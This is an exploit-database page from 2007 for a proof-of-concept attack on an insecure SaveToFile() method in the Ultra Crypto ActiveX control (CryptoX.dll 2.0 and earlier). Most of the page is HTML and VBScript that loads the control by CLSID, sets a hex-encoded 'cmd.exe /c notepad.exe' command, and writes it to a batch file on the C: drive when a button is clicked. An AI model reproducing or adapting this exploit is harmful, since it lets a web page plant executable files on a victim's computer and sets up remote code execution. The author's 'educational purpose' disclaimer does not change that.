Lucene search

K
zdtShinnai1337DAY-ID-9030
HistorySep 10, 2007 - 12:00 a.m.

Ultra Crypto Component (CryptoX.dll <= 2.0) SaveToFile() Inscure Method

2007-09-1000:00:00
shinnai
0day.today
15

Exploit for unknown platform in category remote exploits

=======================================================================
Ultra Crypto Component (CryptoX.dll <= 2.0) SaveToFile() Inscure Method
=======================================================================

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-------------------------------------------------------------------------------------
 <b>Ultra Crypto Component (CryptoX.dll <= 2.0) "SaveToFile()" Inscure Method</b>
 url: http://www.ultrashareware.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>We can use the "HexString()" method to save into our batch file some lines.
 In this PoC, I convert "cmd.exe /c notepad.exe" in hexadecimal format, then
 I save it in a batch file :)</b>
-------------------------------------------------------------------------------------

<object classid='clsid:FD22F3AE-1450-4BDC-ADBE-6AF210A78C2C' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  Dim MyMsg  
   test.HexString = "636D642E657865202F63206E6F74657061642E657865" 'cmd.exe /c notepad.exe
   test.SaveToFile "c:\shinnai.bat"
   MyMsg = MsgBox("Exploit completed!")
 End Sub
</script>
</span></span>

</code></pre>



#  0day.today [2018-04-12]  #